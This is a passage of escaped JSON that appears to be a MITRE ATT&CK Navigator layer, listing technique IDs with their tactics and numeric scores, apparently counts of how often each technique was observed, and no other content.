\"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1537\",\n \"tactic\": \"exfiltration\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1486\",\n \"tactic\": \"impact\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1020\",\n \"tactic\": \"exfiltration\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1136.003\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070\",\n \"tactic\": \"defense-evasion\",\n \"score\": 20,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550\",\n \"tactic\": \"lateral-movement\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.001\",\n \"tactic\": \"lateral-movement\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1190\",\n \"tactic\": \"initial-access\",\n \"score\": 146,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.001\",\n \"tactic\": \"execution\",\n \"score\": 217,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.003\",\n \"tactic\": \"execution\",\n \"score\": 44,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.004\",\n \"tactic\": \"execution\",\n \"score\": 14,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.009\",\n \"tactic\": \"execution\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.007\",\n \"tactic\": \"lateral-movement\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.008\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1608.003\",\n \"tactic\": \"resource-development\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1525\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1566\",\n \"tactic\": \"initial-access\",\n \"score\": 14,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1566.002\",\n \"tactic\": \"initial-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1580\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1619\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1005\",\n \"tactic\": \"collection\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1490\",\n \"tactic\": \"impact\",\n \"score\": 26,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1136\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.002\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.002\",\n \"tactic\": \"initial-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1555\",\n \"tactic\": \"credential-access\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1105\",\n \"tactic\": \"command-and-control\",\n \"score\": 81,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027\",\n \"tactic\": \"defense-evasion\",\n \"score\": 94,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1567\",\n \"tactic\": \"exfiltration\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1568.002\",\n \"tactic\": \"command-and-control\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1572\",\n \"tactic\": \"command-and-control\",\n \"score\": 24,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1102\",\n \"tactic\": \"command-and-control\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1571\",\n \"tactic\": \"command-and-control\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1082\",\n \"tactic\": \"discovery\",\n \"score\": 33,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056.001\",\n \"tactic\": \"collection\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056.001\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1123\",\n \"tactic\": \"collection\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.009\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.009\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1201\",\n \"tactic\": \"discovery\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1069.001\",\n \"tactic\": \"discovery\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1007\",\n \"tactic\": \"discovery\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1222.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.012\",\n \"tactic\": \"execution\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1529\",\n \"tactic\": \"impact\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1083\",\n \"tactic\": \"discovery\",\n \"score\": 24,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1048.003\",\n \"tactic\": \"exfiltration\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1133\",\n \"tactic\": \"persistence\",\n \"score\": 19,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1133\",\n \"tactic\": \"initial-access\",\n \"score\": 19,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1033\",\n \"tactic\": \"discovery\",\n \"score\": 30,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1593.003\",\n \"tactic\": \"reconnaissance\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1115\",\n \"tactic\": \"collection\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564\",\n \"tactic\": \"defense-evasion\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1087.001\",\n \"tactic\": \"discovery\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1018\",\n \"tactic\": \"discovery\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1203\",\n \"tactic\": \"execution\",\n \"score\": 31,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1068\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 29,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1592.004\",\n \"tactic\": \"reconnaissance\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.012\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1554\",\n \"tactic\": \"persistence\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1046\",\n \"tactic\": \"discovery\",\n \"score\": 15,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1587\",\n \"tactic\": \"resource-development\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 15,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1653\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036\",\n \"tactic\": \"defense-evasion\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1016\",\n \"tactic\": \"discovery\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1505.003\",\n \"tactic\": \"persistence\",\n \"score\": 34,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1219.002\",\n \"tactic\": \"command-and-control\",\n \"score\": 44,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1049\",\n \"tactic\": \"discovery\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1014\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1518.001\",\n \"tactic\": \"discovery\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1071.001\",\n \"tactic\": \"command-and-control\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.002\",\n \"tactic\": \"execution\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.002\",\n \"tactic\": \"persistence\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.006\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.006\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1136.001\",\n \"tactic\": \"persistence\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1204.001\",\n \"tactic\": \"execution\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1070.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.003\",\n \"tactic\": \"persistence\",\n \"score\": 47,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 47,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1584\",\n \"tactic\": \"resource-development\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.006\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.006\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1030\",\n \"tactic\": \"exfiltration\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1057\",\n \"tactic\": \"discovery\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1499\",\n \"tactic\": \"impact\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.001\",\n \"tactic\": \"persistence\",\n \"score\": 91,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 91,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1574.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 91,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1106\",\n \"tactic\": \"execution\",\n \"score\": 14,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.002\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.004\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.004\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 27,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.003\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1040\",\n \"tactic\": \"credential-access\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1040\",\n \"tactic\": \"discovery\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1113\",\n \"tactic\": \"collection\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1027.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1560.001\",\n \"tactic\": \"collection\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1212\",\n \"tactic\": \"credential-access\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1588.001\",\n \"tactic\": \"resource-development\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1204\",\n \"tactic\": \"execution\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1558\",\n \"tactic\": \"credential-access\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.001\",\n \"tactic\": \"credential-access\",\n \"score\": 78,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.002\",\n \"tactic\": \"credential-access\",\n \"score\": 26,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1588\",\n \"tactic\": \"resource-development\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": 